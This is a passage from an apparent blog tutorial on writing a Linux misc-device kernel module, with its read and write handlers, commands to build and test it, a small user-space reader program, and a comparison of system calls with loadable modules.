static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO &quot;I have successfully written %s in buffer.&quot;, buf);

    return LEN;
}

static ssize_t hello_read(struct file *f, char __user *s, size_t n, loff_t *o)
{
    if (!f || !s || !o)
        return -EFAULT;
    if (*o &gt;= LEN)
        return 0;
    if (n &gt; LEN)
        n = LEN;
    if (copy_to_user(s, &amp;buf[*o], n))
        return -EFAULT;

    *o += n;

    return n;
}

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO &quot;Hello World !\n&quot;);

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = &quot;my_module_misc&quot;;
    my_dev.fops = &amp;my_fops;
    ret = misc_register(&amp;my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO &quot;Cleaning up module.\n&quot;);
    misc_deregister(&amp;my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);
</code></pre>
<p>Compile, load, grant write access to the device, and exercise it with ordinary shell tools:</p>
<pre><code>make # compilation

sudo insmod my_module.ko # loading the module

sudo chmod o+w /dev/my_module_misc # writing rights

ls -l /dev/my_module_misc # verification

sudo echo -n &quot;1234567890&quot; &gt; /dev/my_module_misc # writing 10 bytes in our buffer

dmesg # verification : [316644.720207] I have successfully written 1234567890 in buffer.

sudo cat /dev/my_module_misc # reading the buffer : 1234567890
</code></pre>
<p><code>echo</code> writes ten bytes and <code>cat</code> reads them back. Now the part that justified the offset: a program that reads two bytes at a time.</p>
<pre><code class="language-c">#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;

int main(void)
{
    char buf[10];
    int fd = open(&quot;/dev/my_module_misc&quot;, O_RDONLY);
    while (read(fd, buf, 2)) {
        buf[2] = 0;
        printf(&quot;%s\n&quot;, buf);
    }
}
</code></pre>
<pre><code>$ gcc test.c -o test
$ sudo ./test
12
34
56
78
90
</code></pre>
<p>Five chained <code>read()</code> calls, two bytes each, and the whole buffer comes back in order. The offset did its job.</p>
<h2 id="two-mechanisms-one-boundary">Two mechanisms, one boundary</h2>
<p>We reached ring 0 from ring 3 twice, by two routes that could hardly be more different in how they get there, yet end at the same place: user-land code running our privileged code and getting a result back across the boundary.</p>
<table>
<thead>
<tr>
<th></th>
<th>System call</th>
<th>Kernel module</th>
</tr>
</thead>
<tbody>
<tr>
<td>Entry point</td>
<td>Static, in the kernel image</td>
<td>Dynamic, loaded at runtime</td>
</tr>
<tr>
<td>Build</td>
<td>Recompile the whole kernel</td>
<td>Compile one <code>.ko</code> against headers</td>
</tr>
<tr>
<td>Activation</td>
<td>Reboot into the new kernel</td>
<td><code>insmod</code>, undone by <code>rmmod</code></td>
</tr>
<tr>
<td>Addressed by</td>
<td>A fixed syscall number</td>
<td>A path under <code>/dev</code> (misc device)</td>
</tr>
<tr>
<td>User/kernel transfer</td>
<td><code>copy_to_user</code> / <code>copy_from_user</code></td>
<td><code>copy_to_user</code> / <code>copy_from_user</code></td>
</tr>
<tr>
<td>Risk</td>
<td>Can leave the machine unbootable</td>
<td>A fault crashes the kernel until reboot</td>
</tr>
</tbody>
</table>
<p>The last two rows are the point. The syscall got its <code>/dev</code>-free front door for free, handed to it by the syscall table. The module had to build one, and once it did, the user/kernel transfer looked identical: the same <code>copy_to_user</code> and <code>copy_from_user</code>, the same careful byte accounting, the same negative-errno discipline. A misc device is a module reconstructing, by hand, the boundary crossing a system call is given.</p>
<p>That symmetry is also why both mechanisms are worth understanding for anyone working on the offensive or defensive side of a Linux system. The syscall table is a fixed, well-known target. Loadable modules are the canonical foothold for ring 0 persistence, and the <code>copy_to_user</code> / <code>copy_from_user</code> boundary is exactly where kernel code mishandles untrusted user input. Build both once, deliberately, and that attack surface stops being abstract.</p>]]></description>
    </item>
  </channel>
</rss>
